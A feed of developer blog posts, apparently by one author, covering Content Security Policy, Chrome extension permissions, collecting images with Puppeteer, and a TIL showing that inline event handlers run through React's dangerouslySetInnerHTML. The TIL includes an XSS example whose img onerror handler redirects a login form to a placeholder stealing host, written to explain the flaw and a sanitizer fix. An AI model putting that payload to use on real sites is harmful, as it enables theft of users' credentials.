&amp;lt;p&amp;gt;I&amp;amp;#39;ll admit: the chance of anything horrible happening to my static blog because I didn&amp;amp;#39;t have a Content Security Policy in place is very, very low. And if there were more downsides to implementing one, I might encourage most people to not even bother.&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;But as far as I can tell, the cost to implementing even a simple policy is virtually nothing – just a little annoyance when you try to use a third party CDN after setting up a CSP, but I can roll with that (plus, it&amp;amp;#39;s easily solvable with whitelisting). On the other end, the potential value in preventing a headache of security issues when the moment does arise is pretty sizable, in my opinion.&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;The cost is negligible, and the value is possibly huge. It&amp;amp;#39;s like an incredibly affordable, effective insurance policy. You might as well just get one.&amp;lt;/p&amp;gt;
&lt;/p&gt;

</description>
      <category>csp</category>
      <category>security</category>
      <category>xss</category>
    </item>
    <item>
      <title>Avoiding a "Host Permission" Review Delay When Publishing a Chrome Extension</title>
      <dc:creator>Alex MacArthur</dc:creator>
      <pubDate>Wed, 20 Nov 2024 01:08:03 +0000</pubDate>
      <link>https://forem.com/alexmacarthur/avoiding-a-host-permission-review-delay-when-publishing-a-chrome-extension-1kca</link>
      <guid>https://forem.com/alexmacarthur/avoiding-a-host-permission-review-delay-when-publishing-a-chrome-extension-1kca</guid>
      <description>&lt;p&gt;I just wrapped up &lt;a href="https://picperf.io/image-saver-extension?ref=cms.macarthur.me" rel="noopener noreferrer"&gt;a Chrome Extension&lt;/a&gt; that allows you to convert and download any AVIF or WebP image as a more useful JPEG, PNG, or GIF (it aims to solve one of the &lt;a href="https://www.reddit.com/r/Windows10/comments/yw4bau/i_cant_stand_this_webp_format_i_cant_easily_save/?ref=cms.macarthur.me" rel="noopener noreferrer"&gt;greatest pains on the internet&lt;/a&gt;). The extension's very simple, but I ran into an interesting slowdown getting it finished up and submitted for review.&lt;/p&gt;

&lt;p&gt;Under the "Permission Justification" section of the submission form, the following banner was shown after uploading my ZIP file:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqg30rue3l9iuw4v95wug.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqg30rue3l9iuw4v95wug.png" alt="" width="800" height="135"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;"Delay publishing" is rather ambiguous, which led me to assume it'd be forever before it'd finally get reviewed. I wasn't up for that, so I did some digging and found a way to circumvent the issue by structuring my extension a bit differently. Hopefully, it can help speed up someone else's process too.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Initial Structural Problem
&lt;/h2&gt;

&lt;p&gt;This warning was triggered by the first version of my &lt;code&gt;manifest.json&lt;/code&gt; file – specifically my usage of &lt;code&gt;content_scripts&lt;/code&gt;:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fekrinh7bsgodap1vrgu2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fekrinh7bsgodap1vrgu2.png" width="509" height="177"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Here's how it looked:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{
    "manifest_version": 3,
    "name": "PicPerf's Image Saver",
    "version": "1.1",
    "description": "Convert and save images in different formats.",
    "permissions": ["contextMenus", "downloads"],
    "background": {
        "service_worker": "background.js"
    },
    "content_scripts": [
        {
            "matches": ["&amp;lt;all_urls&amp;gt;"],
            "js": ["content.js"]
        }
    ], 
    "icons": {
        "16": "images/icon-16.png",
        "48": "images/icon-48.png",
        "128": "images/icon-128.png"
    },  
    "action": {}
}

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;content_scripts&lt;/code&gt; section of the file specifies code that can &lt;a href="https://developer.chrome.com/docs/extensions/develop/concepts/content-scripts?ref=cms.macarthur.me" rel="noopener noreferrer"&gt;run in the context of a loaded web page&lt;/a&gt;. Any scripts injected here can read, modify, and share details about what the user's viewing. That sounds inherently risky, and for good reason. And even risker, the &lt;code&gt;&amp;lt;all_urls&amp;gt;&lt;/code&gt; match meant &lt;code&gt;content.js&lt;/code&gt; would be able to run on &lt;em&gt;any&lt;/em&gt; page. No restrictions.&lt;/p&gt;

&lt;p&gt;My extension does legitimately need to access this kind of stuff. It'd performs a little bit of DOM work to indicate a conversion is being performed, and it's also necessary for triggering a download when the work is finished. (There may be a way to offload some of this work to that &lt;code&gt;background.js&lt;/code&gt; file referenced above, but I haven't done deep exploration into those possibilities yet).&lt;/p&gt;

&lt;p&gt;All of this &lt;code&gt;content.js&lt;/code&gt; work was triggered by an event published from my &lt;code&gt;background.js&lt;/code&gt; file:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;chrome.contextMenus.onClicked.addListener((info, tab) =&amp;gt; {
  const formatId = info.menuItemId.replace("convert-to-", "");
  const format = FORMATS.find((f) =&amp;gt; f.id === formatId);

  chrome.tabs.sendMessage(tab.id, {
    type: "CONVERT_IMAGE",
    imageUrl: info.srcUrl,
    format: format,
  });
});
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;All of this was functioning fine, so I was eager to figure out a workaround.&lt;/p&gt;

&lt;h2&gt;
  
  
  Granting Access On-Demand
&lt;/h2&gt;

&lt;p&gt;Thankfully, it didn't take long. I was able to find an alternative approach using Chrome's &lt;a href="https://developer.chrome.com/docs/extensions/develop/concepts/activeTab?ref=cms.macarthur.me" rel="noopener noreferrer"&gt;"activeTab" and "scripting" permissions&lt;/a&gt;, which would grant access to the page &lt;em&gt;only when the extension is explicitly invoked.&lt;/em&gt; This way, all the work I needed to do would only ever happen in response to a user's action, and only on the current tab. It's a bit safer, and it'd mean I could bypass that extra review time.&lt;/p&gt;

&lt;p&gt;First up, I added a couple more permissions and removed the &lt;code&gt;content_scripts&lt;/code&gt; property from my &lt;code&gt;manifest.json&lt;/code&gt; file.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{
    "manifest_version": 3,
    "name": "PicPerf's Image Saver",
    "version": "1.1",
    "description": "Convert and save images in different formats.",
- "permissions": ["contextMenus", "downloads"],
+ "permissions": ["contextMenus", "downloads", "activeTab", "scripting"],
    "background": {
        "service_worker": "background.js"
    },
- "content_scripts": [
- {
- "matches": ["&amp;lt;all_urls&amp;gt;"],
- "js": ["content.js"]
- }
- ], 
    "icons": {
        "16": "images/icon-16.png",
        "48": "images/icon-48.png",
        "128": "images/icon-128.png"
    },  
    "action": {}
}

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Next, I adjusted that &lt;code&gt;background.js&lt;/code&gt; bit to use Chrome's &lt;a href="https://developer.chrome.com/docs/extensions/reference/api/scripting?ref=cms.macarthur.me" rel="noopener noreferrer"&gt;Scripting API&lt;/a&gt;. Rather than strictly publishing a message to a content script that's already listening, it'd first &lt;em&gt;execute&lt;/em&gt; that script, and &lt;em&gt;then&lt;/em&gt; publish the message.  &lt;/p&gt;

&lt;p&gt;It's a bit contrived for ease of explanation, but this is how it unfolded:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;// background.js

chrome.contextMenus.onClicked.addListener((info, tab) =&amp;gt; {
  const formatId = info.menuItemId.replace("convert-to-", "");
  const format = FORMATS.find((f) =&amp;gt; f.id === formatId);

  // First, execute the client-side script.
  chrome.scripting
    .executeScript({
      target: { tabId: tab.id },
      files: ["content.js"],
    })
    .then(() =&amp;gt; {
      // Then, publish the message like before.
      chrome.tabs.sendMessage(tab.id, {
        type: "CONVERT_IMAGE",
        imageUrl: info.srcUrl,
        format: format,
      });
    },
    (error) =&amp;gt; {
      console.error(error);
    }
  );
});
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;At first attempted, everything continued to work fine. Until I started to repeatedly save images on the same page.&lt;/p&gt;

&lt;h3&gt;
  
  
  Avoiding Repeat Execution
&lt;/h3&gt;

&lt;p&gt;With this setup, &lt;code&gt;content.js&lt;/code&gt; was executing &lt;em&gt;every time&lt;/em&gt; my context menu item was clicked. That meant my event listener would become repeatedly reregistered, causing more callbacks to trigger unnecessarily.&lt;/p&gt;

&lt;p&gt;For my needs, the fix was simple enough: only execute the script when I know it hadn't been done before. Otherwise, publish that message like normal.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;// background.js

globalThis._PP_EXECUTED_ON_TABS = new Set();

function publishMessage(tabId, srcUrl, format) {
  chrome.tabs.sendMessage(tabId, {
    type: "CONVERT_IMAGE",
    imageUrl: srcUrl,
    format: format,
  });
}

chrome.contextMenus.onClicked.addListener((info, tab) =&amp;gt; {
  const formatId = info.menuItemId.replace("convert-to-", "");
  const format = FORMATS.find((f) =&amp;gt; f.id === formatId);

  // It's already been executed on this tab! Bow out early.
  if (globalThis._PP_EXECUTED_ON_TABS.has(tab.id)) {
    publishMessage(tab.id, info.srcUrl, format);

    return;
  }

  globalThis._PP_EXECUTED_ON_TABS.add(tab.id);

  chrome.scripting
    .executeScript({
      target: { tabId: tab.id },
      files: ["content.js"],
    })
    .then(() =&amp;gt; {
      publishMessage(tab.id, info.srcUrl, format);
    },
    (error) =&amp;gt; {
      console.error(error);
    }
  );
});
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;No change to my &lt;code&gt;content.js&lt;/code&gt; file was needed at all, by the way. It just listened for an event from Chrome like before:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;// content.js

chrome.runtime.onMessage.addListener((message) =&amp;gt; {
  if (message.type === "CONVERT_IMAGE") {
    // Do stuff.
  }
});
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Works great, and all parties (especially me) were satisfied. ✅&lt;/p&gt;

&lt;h2&gt;
  
  
  I'll Be Back
&lt;/h2&gt;

&lt;p&gt;I am still so sorely unfamiliar with the extension writing process, as well as the APIs and conventions Chrome provides with it. So, while it's such a little thing, understanding how some of these pieces fit together was very satisfying. I'm eager to iterate on this extension and be back to build more tools in the future.&lt;/p&gt;

&lt;p&gt;The PicPerf Image Saver is live, by the way. &lt;a href="https://chromewebstore.google.com/detail/picperfs-image-saver/mkkhekgceoieddgneokfmijahkombhcg?ref=cms.macarthur.me" rel="noopener noreferrer"&gt;Install it&lt;/a&gt; and send me your feedback!&lt;/p&gt;

</description>
      <category>chrome</category>
      <category>chromium</category>
      <category>extension</category>
    </item>
    <item>
      <title>Collect All Requested Images on a Website Using Puppeteer</title>
      <dc:creator>Alex MacArthur</dc:creator>
      <pubDate>Thu, 14 Nov 2024 01:21:56 +0000</pubDate>
      <link>https://forem.com/alexmacarthur/collect-all-requested-images-on-a-website-using-puppeteer-11jn</link>
      <guid>https://forem.com/alexmacarthur/collect-all-requested-images-on-a-website-using-puppeteer-11jn</guid>
      <description>&lt;p&gt;When I was building &lt;a href="https://picperf.io/analyze?ref=cms.macarthur.me" rel="noopener noreferrer"&gt;PicPerf's page analyzer&lt;/a&gt;, I needed to figure out how to identify every image loaded on a particular page. It sounded like a simple task – scrape the HTML for &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt; tags, pull off the &lt;code&gt;src&lt;/code&gt; attributes, and profit. I'm using Puppeteer, so I started stubbing out something like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;const browser = await puppeteer.launch(launchArgs);
const page = await browser.newPage();

await page.goto(url, { waitUntil: "networkidle2" });

const images = await page.evaluate(() =&amp;gt; {
  return Array.from(document.getElementsByTagName("img")).map(
    (img) =&amp;gt; img.src,
  );
});

// Do something w/ an array of URLs...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I didn't take long to realize how insufficient that would be.&lt;/p&gt;

&lt;p&gt;First, &lt;strong&gt;not every image is loaded via &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt; tag.&lt;/strong&gt; If I didn't want to miss anything, I'd also need to parse the contents of CSS files, &lt;code&gt;&amp;lt;style&amp;gt;&lt;/code&gt; tags, and &lt;code&gt;style&lt;/code&gt; attributes.&lt;/p&gt;

&lt;p&gt;I started going down this path and it was not pretty. You can't just pluck a &lt;code&gt;src&lt;/code&gt; attribute off a blob of CSS. You gotta be willing to make shameful choices, like writing a regular expression to pull URLs out of chunks of markup:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;const images = await page.evaluate(() =&amp;gt; {
  function extractImagesFromMarkup(markup) {
    return (
      markup?.match(
        /(?:https?:\/)?\/[^ ,]+\.(jpg|jpeg|png|gif|webp|avif)(?:\?[^ "')]*)?/gi,
      ) || []
    );
  }

  return {
    imageTags: Array.from(document.querySelectorAll("img"))
      .map((el) =&amp;gt; {
        return extractImagesFromMarkup(el.getAttribute("src"));
      })
      .flat(),

    styleAttributes: Array.from(document.querySelectorAll("*"))
      .map((el) =&amp;gt; {
        return extractImagesFromMarkup(el.getAttribute("style"));
      })
      .flat(),

    styleTags: Array.from(document.querySelectorAll("style"))
      .map((el) =&amp;gt; {
        return extractImagesFromMarkup(el.innerHTML);
      })
      .flat(),
  };
});

const { imageTags, styleAttributes, styleTags } = images;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I'm sorry you had to see that. And it doesn't even cover every case (like &lt;code&gt;&amp;lt;picture&amp;gt;&lt;/code&gt; elements or &lt;code&gt;.css&lt;/code&gt; file contents). I was bound to miss something.&lt;/p&gt;

&lt;p&gt;Second, even if I could reliably find every image in the code, &lt;strong&gt;it doesn't mean every one would be downloaded and rendered on page load&lt;/strong&gt;. Any given website could have a mound of CSS media queries that load images only on certain screen sizes, or responsive images that leave it up to the browser:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;img 
  src="ur-mom-2000px.jpg" 
  srcset="ur-mom-600px.jpg 600w, ur-mom-2000px.jpg 2000w" 
  sizes="(max-width: 600px) 100vw, 2000px" 
  alt="Your Mother"
&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If I wanted this page analyzer to be reasonably accurate, I needed &lt;em&gt;only&lt;/em&gt; the images a real user would need to wait to be downloaded when a real browser was fired up, and I wasn't interested in trading my soul to write an even more clever chunk of code to pull it off.&lt;/p&gt;

&lt;h2&gt;
  
  
  Don't Scrape. &lt;em&gt;Listen for Requested Images&lt;/em&gt;
&lt;/h2&gt;

&lt;p&gt;I eventually realized I'm not limited to scraping a bunch of cold, hard HTML when using a tool like Puppeteer. I could set up a listener to capture images that were &lt;em&gt;actually&lt;/em&gt; downloaded during a browser session.&lt;/p&gt;

&lt;p&gt;That's easy enough to set up. First, Puppeteer's request interception feature needed to be enabled when the page was created:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;const browser = await puppeteer.launch(launchArgs);
const page = await browser.newPage();

// Enable requests to be intercepted.
await page.setRequestInterception(true);
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then, the request handler could be built out like so:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;// Will collect image URLs in here.
const imageUrls = [];

page.on("request", (req) =&amp;gt; {
  if (req.isInterceptResolutionHandled()) return;

  // Do stuff here. 

  return req.continue();
});
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That first line calling &lt;code&gt;isInterceptResolutionHandled()&lt;/code&gt; is important – I used it to bow out early if the incoming request has already been handled &lt;a href="https://pptr.dev/api/puppeteer.httprequest.isinterceptresolutionhandled?ref=cms.macarthur.me" rel="noopener noreferrer"&gt;by a &lt;em&gt;different&lt;/em&gt; event listener&lt;/a&gt;. (Technically, this isn't critical if you &lt;em&gt;know&lt;/em&gt; you're the only one listening, but good practice nonetheless.). Between that and &lt;code&gt;req.continue()&lt;/code&gt;, I could start collecting images.&lt;/p&gt;

&lt;h3&gt;
  
  
  Filtering Out the Junk
&lt;/h3&gt;

&lt;p&gt;I just wanted image requests, but as I filtered, I set things up to &lt;code&gt;abort()&lt;/code&gt; requests through domains that didn't impact to how the page was rendered (it'd same on some analysis time too). For the most part, that meant hefty analytics requests:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;const DOMAIN_BLACKLIST = [
  "play.google.com",
  "ad-delivery.net",
  "youtube.com",
  "track.hubspot.com",
  "googleapis.com",
  "doubleclick.net",
  // Many, many more...
];
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then, it was a matter of aborting the request when its hostname was found in the list:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;page.on("request", (req) =&amp;gt; {
  if (req.isInterceptResolutionHandled()) return;

  const urlObj = new URL(req.url());

  // Block requests.
  if (DOMAIN_BLACKLIST.includes(urlObj.hostname)) {
    return req.abort();
  }

  return req.continue();
});
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;With that out of the way, I could focus on collecting images into that &lt;code&gt;imageUrls&lt;/code&gt; variable, but only if they were in my list of permitted extensions.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;const imageExtensions = [
  "jpg",
  "jpeg",
  "png",
  "gif",
  "webp",
  "avif",
  "svg",
];
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I also left out any &lt;code&gt;data:&lt;/code&gt; sources, since I wanted only fully qualified image URLs.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;page.on("request", (req) =&amp;gt; {
  if (req.isInterceptResolutionHandled()) return;

  const urlObj = new URL(req.url());

  if (DOMAIN_BLACKLIST.includes(urlObj.hostname)) {
    return req.abort();
  }

  const fileExtension = urlObj.pathname.split(".").pop();

  if (
    req.resourceType() === "image" &amp;amp;&amp;amp;

    // Must be a permitted extension.
    imageExtensions.includes(fileExtension) &amp;amp;&amp;amp;

    // No data sources.
    !req.url().includes("data:")
  ) {
    imageUrls.push(req.url());
  }

  return req.continue();
});
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That's a much more reliable approach than scraping. But there was still more to be done to collect every image that could possibly be loaded.&lt;/p&gt;

&lt;h2&gt;
  
  
  Accounting for Scrolling
&lt;/h2&gt;

&lt;p&gt;First up, I wanted to make sure I collected any image that was loaded throughout the full length of the page. But due to possible lazy loading (native or not), I wanted to trigger a full page scroll to catch them all. So, I used this little function that scrolled by 100px every 100ms:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;  async function autoScroll(page: Page) {
    await page.evaluate(async () =&amp;gt; {
      return await new Promise&amp;lt;void&amp;gt;((resolve) =&amp;gt; {
        let totalHeight = 0;

        const distance = 100;
        const timer = setInterval(() =&amp;gt; {
          window.scrollBy(0, distance);
          totalHeight += distance;

          if (
            totalHeight &amp;gt;=
            document.body.scrollHeight - window.innerHeight
          ) {
            clearInterval(timer);
            resolve();
          }
        }, 100);
    });
  });
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I then used that to keep the page open until the full page had been scrolled:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;const browser = await puppeteer.launch(launchArgs);
const page = await browser.newPage();

// Other page setup stuff...

await page.goto(url, { waitUntil: "networkidle2" });

// page.on("request") handler here.

await this.autoScroll(page);
await browser.close();
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That accounted for lazily loaded images, but before this was considered "ready," I needed to tidy up a couple more things.&lt;/p&gt;

&lt;h3&gt;
  
  
  Viewport &amp;amp; User Agent
&lt;/h3&gt;

&lt;p&gt;For this to resemble a real-life device as much as reasonably possible, it made sense to go with a popular mobile phone size for the viewport. I choose the following:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;const browser = await puppeteer.launch(launchArgs);
const page = await browser.newPage();

// Other page setup stuff...

page.setViewport({ width: 430, height: 932 });
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And finally, I used my own user agent for the page as well:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;page.setUserAgent(
  "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",
);
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;With that, I was set up for success.&lt;/p&gt;

&lt;h2&gt;
  
  
  That'll Do
&lt;/h2&gt;

&lt;p&gt;I wrapped this tool up with a strong feeling of appreciation for headless browsing tools like Puppeteer and Playwright. There's a lot of complexity wrapped into an API making it easy to programmatically use a browser like a human would. Cheers to the smart people building that stuff.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://picperf.io/analyze?ref=cms.macarthur.me" rel="noopener noreferrer"&gt;Try out the tool for yourself&lt;/a&gt;, by the way! At the very least, it'll help catch other quirks I've overlooked until now.&lt;/p&gt;

</description>
      <category>puppeteer</category>
      <category>images</category>
    </item>
    <item>
      <title>TIL: inline event handlers still fire when passed to React's dangerouslySetInnerHTML</title>
      <dc:creator>Alex MacArthur</dc:creator>
      <pubDate>Sat, 09 Nov 2024 19:44:11 +0000</pubDate>
      <link>https://forem.com/alexmacarthur/til-inline-event-handlers-still-fire-when-passed-to-reacts-dangerouslysetinnerhtml-4k1g</link>
      <guid>https://forem.com/alexmacarthur/til-inline-event-handlers-still-fire-when-passed-to-reacts-dangerouslysetinnerhtml-4k1g</guid>
      <description>&lt;p&gt;Last year, &lt;a href="https://macarthur.me/posts/script-tags-in-react?ref=cms.macarthur.me" rel="noopener noreferrer"&gt;I wrote a post&lt;/a&gt; about how to execute &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tags with React's &lt;code&gt;dangerouslySetInnerHTML&lt;/code&gt; prop. Like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;const App = () =&amp;gt; {
  return (
    &amp;lt;div dangerouslySetInnerHTML={{ __html: `
      &amp;lt;script&amp;gt;console.log("taxation is theft");&amp;lt;/script&amp;gt;
    `}}&amp;gt;&amp;lt;/div&amp;gt;
  );
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;By default, &lt;code&gt;dangerouslySetInnerHTML&lt;/code&gt; will not allow those scripts to execute because it relies on JavaScript's &lt;code&gt;innerHTML&lt;/code&gt;, &lt;a href="https://www.w3.org/TR/2008/WD-html5-20080610/dom.html?ref=cms.macarthur.me#innerhtml0" rel="noopener noreferrer"&gt;which prohibits it&lt;/a&gt;. Knowing that, I've always kind of assumed that the "danger" in injecting content like this was a little overblown. That was stupid, and I was made aware of this stupidity by seeing &lt;a href="https://x.com/matveydev/status/1847660510247821349?ref=cms.macarthur.me" rel="noopener noreferrer"&gt;this from @matveydev&lt;/a&gt;:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqustlirwckftslb3csbm.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqustlirwckftslb3csbm.png" alt="tweet screenshot revealing it's possible to execute scripts inside the dangerouslySetInnerHTML prop" width="800" height="279"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Of course&lt;/em&gt; a script tag isn't the only way to execute JavaScript. HTML's large set of inline event handlers is just another tactic. But this one &lt;em&gt;won't be blocked&lt;/em&gt; when injected with &lt;code&gt;.innerHTML&lt;/code&gt;. Things like this, for instance, will run just fine:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;const App = () =&amp;gt; {
  return (
    &amp;lt;div dangerouslySetInnerHTML={{ __html: `
      &amp;lt;button onclick="console.log('Watch out, sucker!')"&amp;gt;
    `}}&amp;gt;&amp;lt;/div&amp;gt;
  );
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That means you could do something more nefarious, like what @matveydev shared, or a variety of other things, like changing where a form submits information:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;const App = () =&amp;gt; {
  return (
    &amp;lt;div dangerouslySetInnerHTML={{ __html: `
      &amp;lt;img src="x" onerror="document.getElementById('loginForm').action = 'https://bad-place-that-will-steal-your-info.com'"&amp;gt;
    `}}&amp;gt;&amp;lt;/div&amp;gt;
  );
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This appears to be possible with &lt;em&gt;any&lt;/em&gt; inline event handler. I guess &lt;code&gt;dangerouslySetInnerHTML&lt;/code&gt; really is named appropriately.&lt;/p&gt;

&lt;h2&gt;
  
  
  Preventing Inline Event Handler Executions
&lt;/h2&gt;

&lt;p&gt;If you're gonna make &lt;code&gt;dangerouslySetInnerHTML&lt;/code&gt; &lt;em&gt;fully&lt;/em&gt; safe, use a good HTML sanitization library or &lt;a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP?ref=cms.macarthur.me" rel="noopener noreferrer"&gt;Content Security Policy&lt;/a&gt;. But we're gonna explore taking care of this specific vulnerability ourselves anyway. For fun.&lt;/p&gt;

&lt;p&gt;Let's start putting together a &lt;code&gt;SafeElement&lt;/code&gt; component that accepts some markup:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;function SafeElement({ markup, ...props }) {
  return (
    &amp;lt;div 
      dangerouslySetInnerHTML={{ __html: markup }} {...props}&amp;gt;
    &amp;lt;/div&amp;gt;
  );
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now, let's write a function to sanitize that markup before it has a chance to execute anything naughty. To test it out, we'll use this simple string of HTML with a dash of badness baked in:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;img src="x" onerror="console.log('communism')"&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Using a DOMParser
&lt;/h3&gt;

&lt;p&gt;There are a couple options we could go with this. First, we could use a &lt;code&gt;DOMParser&lt;/code&gt; instance to remove any &lt;code&gt;on*&lt;/code&gt; attributes from every HTML element:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;function sanitize(markup) {
  const doc = new DOMParser().parseFromString(markup, 'text/html');

  doc.querySelectorAll('*').forEach(node =&amp;gt; {
    Array.from(node.attributes).forEach(attr =&amp;gt; {
      if (attr.name.startsWith('on')) {
        node.removeAttribute(attr.name);
      }
    });
  });

  return doc.body.innerHTML;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Running our contrived HTML through this would completely strip off the inline handlers:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;img src="x"&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



